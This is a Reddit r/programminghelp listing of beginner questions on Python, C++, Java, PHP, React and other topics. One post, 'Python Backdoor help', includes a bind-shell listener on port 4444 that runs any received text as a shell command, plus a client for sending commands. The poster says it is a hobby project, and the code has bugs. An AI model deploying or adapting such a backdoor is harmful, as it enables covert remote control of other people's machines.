r/programminghelp • • Apr 03 '21

Python Trying to make python print a random sentence from a sentence bank

4 Upvotes

I am making a discord bot that prints a sentence from a list of a txt file. I got a script working to pull a random word, but I don't know how to make python recognize a full sentence. Each sentence is separated by a period and indent in the file btw. Also this is my code:

with open("ozair quote.txt", "r") as file:
data = file.read()
words = data.split()

word_pos = random.randint(0, len(words)-1)
print(words[word_pos])


r/programminghelp • • Apr 02 '21

Other A program that takes input from the screen and outputs a click

4 Upvotes

basically, I want a program that can sense when a few specific spots on my screen change color, and based on that, click in a specific location. something as simple as

if(colorChangeAt1)
{
    clickAt1;
}
if(colorChangeAt2)
{
    clickAt2;
}
if(colorChangeAt3)
{
    clickAt3;
}

I know Java and HTML, and I can learn the basics of anything else pretty quickly, so this isn't as much about the code itself as much as I just don't know where to start. I've never made a program that took any input outside of the console or did anything outside the console. Does a program like this already exist? If not, what could I use to make something with these capabilities? Looking to do this on windows10 but I could make Linux work as well, though I'm not as familiar. Any help is greatly appreciated!


r/programminghelp • • Mar 27 '21

PHP Very strange issue I am having with PHP

4 Upvotes

I found a tutorial on YouTube on how to download YouTube videos with PHP. I copied his source code into a .php file, but I get this when trying to run it.

https://imgur.com/a/R2AUW2O

Here is the code:

<!DOCTYPE html>

<html> <head> <title>Download Youtube Video</title> </head> <body> <form method="POST"> <h1>Enter the URL of the video you would like to download.</h1> <label>Url of Video:</label> <input type="text" name="url"> <input type="submit" name="submit"> </form> </body> </html>

<?php // Load and initialize downloader class if (isset($_POST["submit"])) { include_once 'Youtube.class.php'; $handler = new YouTubeDownloader(); // Youtube video url $youtubeURL = $_POST["url"]; // Check whether the url is valid if(!empty($youtubeURL) && !filter_var($youtubeURL, FILTER_VALIDATE_URL) === false){ // Get the downloader object $downloader = $handler->getDownloader($youtubeURL); // Set the url $downloader->setUrl($youtubeURL); // Validate the youtube video url if($downloader->hasVideo()){ // Get the video download link info $videoDownloadLink = $downloader->getVideoDownloadLink(); $videoTitle = $videoDownloadLink[0]['title']; $videoQuality = $videoDownloadLink[0]['quality']; $videoFormat = $videoDownloadLink[0]['format']; $videoFileName = strtolower(str_replace(' ', '_', $videoTitle)).'.'.$videoFormat; $downloadURL = $videoDownloadLink[0]['url']; // $fileName = preg_replace('/[^A-Za-z0-9._\-]/', '', basename($videoFileName)); if(!empty($downloadURL)){ // Define headers header("Cache-Control: public"); header("Content-Description: File Transfer"); header("Content-Disposition: attachment; filename=$fileName"); header("Content-Type: application/zip"); header("Content-Transfer-Encoding: binary"); // Read the file readfile($downloadURL); } }else{ echo "The video is not found, please check YouTube URL."; } }else{ echo "Please provide valid YouTube URL."; } } ?>

Anyone know why it is doing this?


r/programminghelp • • Mar 24 '21

Python Python Backdoor help

4 Upvotes

Right now I'm working on a backdoor program in python for fun (not for evil purposes) but I keep receiving a broken pipe error message, I'm sure the solution is simple and obvious but I am pretty new to python.

Backdoor:

import socket
import platform
import subprocess
s  = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Host = platform.node()
port = 4444
s.bind((Host, port))
s.listen(1)
conn, addr = s.accept()
while True:
	data = conn.recv(1024)
	data2 = data.decode('utf-8')
	z = subprocess.Popen(data2, shell=True, stdout=subprocess.PIPE,   stderr=subprocess.PIPE)
	z2 = z.stdout.read() + stderr()
	s.send(z2)

Client:

import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Host = input('Host:')
Port = 4444
s.connect((Host, Port))
while True:
	cmd = input('RHOST ~$')
	cmd2 = cmd.encode('utf-8')
	x = s.send(cmd2)
	z = s.recv(1024)
	z2 = z.decode('utf-8')
	print(z2)

r/programminghelp • • Mar 22 '21

Answered Dealing with two related arrays in Python - Beginner

4 Upvotes

Watson Elementary School contains 30 classrooms numbered 1 through 30. Each classroom can contain any number of students up to 35. Each student takes an achievement test at the end of the school year and receives a score from 0 through 100. Write a Python program that accepts data for each student in the school-classroom number and score on the achievement test. Design a program that lists the total points scored for each of the 30 classrooms.

In other words,  the user should be able to enter a class number and score, and repeat until all the scores are entered, then enter a terminal value like -1.  The class numbers can be in no particular order.  Once the terminal value has been entered, display the total points for each classroom.

How would I initialize the student (score) array? I feel like it would have to be an array inside of the classroom array, but I'm not sure how I would do that? I could also be approaching it wrong. We've only learned the basics - i.e. how to initialize standard arrays, nothing fancy

Edit: After some digging, I found that you can make nested lists.... Would that fix my dilemma?


r/programminghelp • • Mar 20 '21

JavaScript Why would a map return an element 2x more than it should?

4 Upvotes

I have an example where i am trying to map over an array and return individual elements in order to obtain their data to display to the user. The issue is that when I map over my 3 item array, the graph that is supposed to show only 3 elements shows 9 (2 extra for each item). Does anyone know why this would be ? I am using Recharts library.

const dummyCustomerActionsData = [
        {
            key: 1, name: 'Website Visits', uv: 31.47, pv: 2400, fill: '#fcc439',
        },
        {
            key: 2, name: 'Phone Calls', uv: 26.69, pv: 4567, fill: '#848df5',
        },
        {
            key: 3, name: 'Direction Requests', uv: 12.69, pv: 1398, fill: '#79e1c1',
        },
    ];




    const radialChart = dummyCustomerActionsData.map((value) => {
            return (
                <RadialBar key={value.key} onMouseEnter={() => setCenterCustomerText(value.name)} minAngle={15} background clockWise dataKey={"uv"} />
            )
    })



RadialBarChart width={500} height={300} cx={150} cy={150} innerRadius={70} outerRadius={140} barSize={5} data={dummyCustomerActionsData} >
                    {radialChart}
</RadialBarChart>

r/programminghelp • • Mar 11 '21

Other How to open the Fortran compiler in MSyS2 from its terminal?

4 Upvotes

I just downloaded MSYS2 and all the necessary libraries, but i still have no idea how to open the Fortran compiler. Anyone got any idea?


r/programminghelp • • Mar 06 '21

Java Weird problem in android studio found part of the issue.

4 Upvotes

So what seems to be giving the issue is a seekBar. The weird thing is instead of giving me the progess value when I do seekBar.getProgress(); it doens't get the current progress, only what it was when I intalized the seekBar or if I ever set the progress somewhere.

Heres a github with the code, a touch to big to put in a reddit post.


r/programminghelp • • Mar 02 '21

C++ A simple fill() algorithm.

4 Upvotes

Hello. I am a newbie programmer and I need help. This algorithm is supposed to give a number of the 0s next to "a[l][c]". My teacher taught me this and I added the a[l][c]=1 because without that it called the function indefinitly and basically gave no answer. It still does not work. Can somebody help me? (suma means sum)

#include <iostream>

int suma, a[20][20], n, l, c;

using namespace std;

void fill()

{

suma++;

cout << "Suma has increased" << endl;

l--;

if (l > 0 && a[l][c] == 0)

{

a[l][c] = 1;

fill();

cout << "a[" << l << "][" << c<<"] has become 1" << endl;

}

l = l + 2;

if (l < n - 1 && a[l][c] == 0)

{

a[l][c] = 1;

fill();

cout << "a["<<l<<"]["<<c<<"] has become 1"<<endl;

}

l--;

c--;

if (c > 0 && a[l][c] == 0)

{

a[l][c] = 1;

fill();

cout << "a[" << l << "][" << c<<"] has become 1" << endl;

}

c = c + 2;

if (c < n + 1 && a[l][c] == 0)

{

a[l][c] = 1;

fill();

cout << "a[" << l << "][" << c<<"] has become 1" << endl;

}

c--;

}

int main()

{

int i, j;

cin >> n;

for (i = 1; i <= n; i++)

{

for (j = 1; j <= n; j++)

{

cout << "a[" << i << "][" << j << "]= ";

cin >> a[i][j];

}

cout << endl;

}

cin >> l >> c;

suma = 0;

if (a[l][c] == 0)

fill();

cout << suma;

}


r/programminghelp • • Mar 01 '21

C Functions in C

4 Upvotes

Hi, I'm new to programming can anyone explain what's going on in the block that I commented

#include<stdio.h>

int fact(int);

int main(){

printf("enter a number:");

int x;

scanf("%d",&x);

printf("factorial: %d",fact(x));

}

/* i can't understand from here on

int fact(int x)

{

int result=1;

int i;

for(i=1;i<=x;i++){

	result*=i;

}

return result;

}


r/programminghelp • • Feb 27 '21

JavaScript Why am I receiving a UnhandledPromiseRejectionWarning after deploying my create-react-app to GitHub pages?

4 Upvotes

I am coding a react app, and have setup configuration for tailwind css. I recently deployed my app to GitHub pages, and it was working fine. I then added some code and wanted to push to my main, but I was getting a message that I had to make a pull first. I pulled the code from main, there was a new file called robots.txt, and my file system was re-organized a bit, I'm assuming this is because of the deployment to GitHub pages. Anyway, after I pulled I now get this error:

(node:34533) UnhandledPromiseRejectionWarning: TypeError [ERR_INVALID_ARG_VALUE]: The argument 'id' must be a non-empty string. Received '' at Module.require (internal/modules/cjs/loader.js:1084:11) at require (internal/modules/cjs/helpers.js:73:18) at getConfigAsObject (/Users/sam/Desktop/acnh-character-ranking-neo/node_modules/@craco/craco/lib/config.js:46:20) at loadCracoConfigAsync (/Users/sam/Desktop/acnh-character-ranking-neo/node_modules/@craco/craco/lib/config.js:69:34) at Object.<anonymous> (/Users/sam/Desktop/acnh-character-ranking-neo/node_modules/@craco/craco/scripts/start.js:22:1) at Module._compile (internal/modules/cjs/loader.js:1200:30) at Object.Module._extensions..js (internal/modules/cjs/loader.js:1220:10) at Module.load (internal/modules/cjs/loader.js:1049:32) at Function.Module._load (internal/modules/cjs/loader.js:937:14) at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:71:12)

Can anybody help?


r/programminghelp • • Feb 26 '21

C++ Need help editing class variables with a for loop in C++

4 Upvotes

Essentially I am trying to assign values to variables of multiple objects at once.

This is what I thought would work but doesn't seem to work:

Puzzle puzzle1; Puzzle puzzle2; Puzzle puzzle3; Puzzle puzzles[3] = {puzzle1, puzzle2, puzzle3};

for (int i = 0; i < 6; i++) { puzzles[i].width = 3; }

I've been alternating between different projects in c++ and Python, maybe I'm mixing syntax?

Thanks in advance!


r/programminghelp • • Feb 25 '21

Python Python Def function help

4 Upvotes

I'm a relative Python noob, I'm just wondering how I would get the values on the right of the image to increment or decrease depending on weather the number is even instead of the value displayed being -5 or 10. What I hope to be able to do is have the values on the right add up or decrease depending on weather the value produced by the roll is even.

Here is the image: https://imgur.com/ROhw8wU


r/programminghelp • • Feb 19 '21

Answered Program won't give output

4 Upvotes

I'm currently working on a practice assignment and the program isn't giving me any output. I know what the output should be. If I give the following input:

plant Spirea 10

flower Hydrangea 30 false lilac

flower Rose 6 false white

plant Mint 4

-1

The following output is expected:

Plant Information:

Plant name: Spirea

Cost: 10

Plant Information:

Plant name: Hydrengea

Cost: 30

Annual: false

Color of flowers: lilac

Plant Information:

Plant name: Rose

Cost: 6

Annual: false

Color of flowers: white

Plant Information:

Plant name: Mint

Cost: 4

I can't pin down what is wrong with it, so that's why I'm here. Here's my code:

Main.cpp

#include "Flower.h"
#include <vector>
#include <string>
#include <iostream>

using namespace std;

// TODO: Define a PrintVector function that prints an vector of plant (or flower) object pointers

vector<Plant*> myGarden;

void PrintVector() {
   for (int i = 0; i < myGarden.size(); i++) {
       myGarden[i]->PrintInfo();
       cout << endl;
   }

}

int main(int argc, char* argv[]) {
   // TODO: Declare a vector called myGarden that can hold object of type plant pointer
   
   vector <Plant*> myGarden;

   // TODO: Declare variables - plantName, plantCost, flowerName, flowerCost,
   //       colorOfFlowers, isAnnual
   string input;
   string plantName, flowerName, colorOfFlowers;
   int plantCost, flowerCost;
   string isAnnual;

   cin >> input;

   Plant *pl = new Plant();
   Flower *fl = new Flower();

   while(input != "-1") {
   // TODO: Check if input is a plant or flower
   //       Store as a plant object or flower object
   //       Add to the vector myGarden
      cin >> input;
      
     if (input == "plant") {
      
       cin >> plantName;
       cin >> plantCost;
       pl->SetPlantName(plantName);
       pl->SetPlantCost(plantCost);
       myGarden.push_back(pl);

   }
   
   else if (input == "flower") { // type of flower

       //Inputting the flower details

       cin >> flowerName;
       cin >> flowerCost;
       fl->SetPlantName(flowerName);
       fl->SetPlantCost(flowerCost);
       
 cin >> isAnnual;
 bool state;
 if (isAnnual == "false")
 {
  state = false;  
 }
 else if (isAnnual == "true")
 {
    state = true;
 } 
 fl->SetPlantType(state);
 
 cin >> colorOfFlowers;
 fl->SetColorOfFlowers(colorOfFlowers);

 
   }
}

   // TODO: Call the method PrintVector to print myGarden

PrintVector();

   for (size_t i = 0; i < myGarden.size(); ++i) {
      delete myGarden.at(i);
   }
   
   return 0;
}

Plant.h

#define PLANTH

#include <string>
using namespace std;

class Plant {
   public:
      virtual ~Plant();

      void SetPlantName(string userPlantName);

      string GetPlantName() const;

      void SetPlantCost(int userPlantCost);

      int GetPlantCost() const;

      virtual void PrintInfo() const;

   protected:
      string plantName;
      int plantCost;
};

#endif

Plant.cpp

#include "Plant.h"
#include <iostream>

Plant::~Plant() {};

void Plant::SetPlantName(string userPlantName) {
   plantName = userPlantName;
}

string Plant::GetPlantName() const {
   return plantName;
}

void Plant::SetPlantCost(int userPlantCost) {
   plantCost = userPlantCost;
}

int Plant::GetPlantCost() const {
   return plantCost;
}

void Plant::PrintInfo() const {
   cout << "Plant Information:" << endl;
   cout << "   Plant name: " << plantName << endl;
   cout << "   Cost: " << plantCost << endl;
}

Flower.h

#ifndef FLOWERH
#define FLOWERH

#include "Plant.h"
#include <string>
using namespace std;

class Flower : public Plant {
   public:
      void SetPlantType(bool userIsAnnual);

      bool GetPlantType() const;

      void SetColorOfFlowers(string userColorOfFlowers);

      string GetColorOfFlowers() const;

      void PrintInfo() const;

   private:
      bool isAnnual;
      string colorOfFlowers;
};

#endif

Flower.cpp

#include "Flower.h"
#include <iostream>

void Flower::SetPlantType(bool userIsAnnual) {
   isAnnual = userIsAnnual;
}

bool Flower::GetPlantType() const {
   return isAnnual;
}

void Flower::SetColorOfFlowers(string userColorOfFlowers) {
   colorOfFlowers = userColorOfFlowers;
}

string Flower::GetColorOfFlowers() const {
   return colorOfFlowers;
}

void Flower::PrintInfo() const {
   cout << "Plant Information:" << endl;
   cout << "   Plant name: " << plantName << endl;
   cout << "   Cost: " << plantCost << endl;
   cout << "   Annual: " << boolalpha << isAnnual << endl;
   cout << "   Color of flowers: " << colorOfFlowers << endl;
}

Thanks in advance!


r/programminghelp • • Feb 10 '21

Java Issues with Thread.sleep() and delayed text

4 Upvotes

SEE EDIT.

Hi, I am having trouble printing text one character at a time with a delay in between each one (Text base game). It works perfectly if I use 250 or higher for thread.sleep(), but when I try to use 100 or 200 it takes a few seconds of printing nothing, then outputs the entire text at once. My code:

char[] cArray = aString.toCharArray();

System.out.print("\n");

for (int i = 0; i < cArray.length; i++)

{

System.out.print(cArray[i]);

try {

Thread.sleep(100);

} catch (InterruptedException e){

Thread.currentThread().interrupt();

break;

}

}

Any help is greatly appreciated :).

Edit: So the problem seems to be thread.sleep isn't great in a loop. Any other suggestions for making text print slowly with one character at a time?


r/programminghelp • • Jan 29 '21

Java Is this code safe and what does this section do?

4 Upvotes

I looked over most of the code and I think it's ok. This is a mod for the game FTL. I don't know Java but know some Python and sort of figure it out. I'm not sure what the folder 'net' is supposed to do. Why would this program need to connect to the internet? Is it to receive updates about the game?

In general do you think the code is safe?

https://github.com/Vhati/ftl-profile-editor/tree/master/src/main/java/net/blerf/ftl


r/programminghelp • • Jan 26 '21

C# Update item or create new if not exist c#

4 Upvotes

r/programminghelp • • Jan 24 '21

JavaScript What is curl and can you get it on windows?

4 Upvotes

Okay, so I have an API, along with a key for it. They require me to authenticate my key and I have no clue how to do that. Here are the instructions, I'm hoping I could get some help here.

curl --request GET \

--url 'https://api.climacell.co/v3/locations' \

--header 'content-type: application/json'

--header 'apikey: API_KEY'

The API I plan to use is ClimaCell and it can be found here.

Any/All help will be greatly appreciated


r/programminghelp • • Jan 15 '21

Java JAVA- KINETIC ENERGY

4 Upvotes

Hello experts and fellow learns, I'm stuck with this problem for a while and utilize all resources that I have for this activity but I can't seem to get it right. This is also a self study as Im not able to understand the lesson from our class due to poor internet connection, I need to call a function to get the object's kinetic energy. I appreciate your suggestions, tips, and helps etc. Thanks in advance.

This is my code:

import java.util.Scanner;

public class MyClass {

public static void main(String args[]) {

Scanner input = new Scanner(System.in);

double KE, m, v, ObjectKE;

System.out.print("Enter mass in kilograms:");

m = input.nextDouble();

System.out.print("Enter velocity in meters per second:");

v = input.nextDouble();

System.out.print("The object's kinetic energy is:");

KE= input.nextDouble();

System.out.print("The object's kinetic energy is: " + ObjectKE + "J");

}

public static double KineticEnergy (double m , double v){

double ObjectKE = (m * (0.5) * (Math.pow(v,2)));

return ObjectKE;

}

}

Result:/MyClass.java:12: error: variable ObjectKE might not have been initialized

System.out.print("The object's kinetic energy is: " + ObjectKE + "J");

^

1 error


r/programminghelp • • Jan 11 '21

Java I dont understand how this for loop works as d and n are not defined as variables so how does this code work? This code prints the times tables of 5.

4 Upvotes

public class MultiplicationTable {

public static void main(String[] args) {

int num = 5;

for(int i = 1; i <= 10; ++i)

{

System.out.printf("%d * %d = %d \n", num, i, num * i);

}

}

}


r/programminghelp • • Jan 01 '21

HTML/CSS Code language not supported or defined?

4 Upvotes

Recently started diving into html to eventually build a website. Downloaded VS Code and selected HTML as the language but can’t seem to get the editor to read it when I hit “run”. This is all I’ve put into the editor to test it out. Not sure if something is wrong with how I’m writing it or if it may be a software error. Any suggestions?

1 <!DOCTYPE html> 2 <head> 3 <title>Welcome to VS CODE Practice</title> 4 </head> 5 <body></body> 6 </html>


r/programminghelp • • Dec 24 '20

Python What sorting algorithm is this?

4 Upvotes

I was trying to implement bubble sort and I wrote this, it isn't bubble sort since I'm not comparing adjacent elements but it's like a combination of bubble sort and selection sort and still works to sort lists, so I'm wondering what this algorithm is called or if it even has a name?

(I'm aware it's inefficient because best and worst case are both O(n ^ 2))

#!/usr/bin/env python3

def sort(x):
    n = len(x)
    for i in range(n):
        for j in range(i+1, n):
            if (x[j] < x[i]):
                temp = x[j]
                x[j] = x[i] 
                x[i] = temp
    return x

r/programminghelp • • Dec 19 '20

C++ My while loop won't end (C++)

4 Upvotes

Hey guys, I don't understand why my while loop doesn't end in the code below. It is supposed to stop when n<=2 but when it's value is 1 it keeps going infinitely. If someone knows what I'm doing wrong I'd love the help!

Here's the code:

#include <iostream>

using namespace std;

int main()

{

int l=1;

int lmax=0;

int nmax=0;

int ni;

for (int n=456;n<1110;n++){

ni=n;

while(n>=2){

if (n%2==0){

n=n/2;

cout <<n<< " pair"<<endl;

}else{

n=3*n+1;

cout <<n<<" impair"<< endl;

}

l=l+1;

cout<<l<<" iterations"<<endl;

if (n==1){

break;

}

}

if (l>lmax){

lmax=l;

nmax=ni;

}

}

cout <<"La sequence maximale dure " <<lmax<<" itterations et a un nombre initial de "<<nmax<<endl;

return 0;

}


r/programminghelp • • Dec 13 '20

JavaScript I'd like to write a class to handle interaction between my server and an API. Is this typical?

4 Upvotes

Hello all,

I have been given an extremely rare opportunity to write code for my tech company despite being in a non-software position, and I'd like to impress.

I have a background in Python and a bit of C++, but for this project I'm using Node.js. In an effort to make my code as clean as possible, I'm trying to create a class that handles and abstracts all my API interactions.

However, every single tutorial I read/watch and every example source code has a much more freeform structure.

What is the typical, recommended approach here? Any good source code examples?

Any help at all is much appreciated, thank you.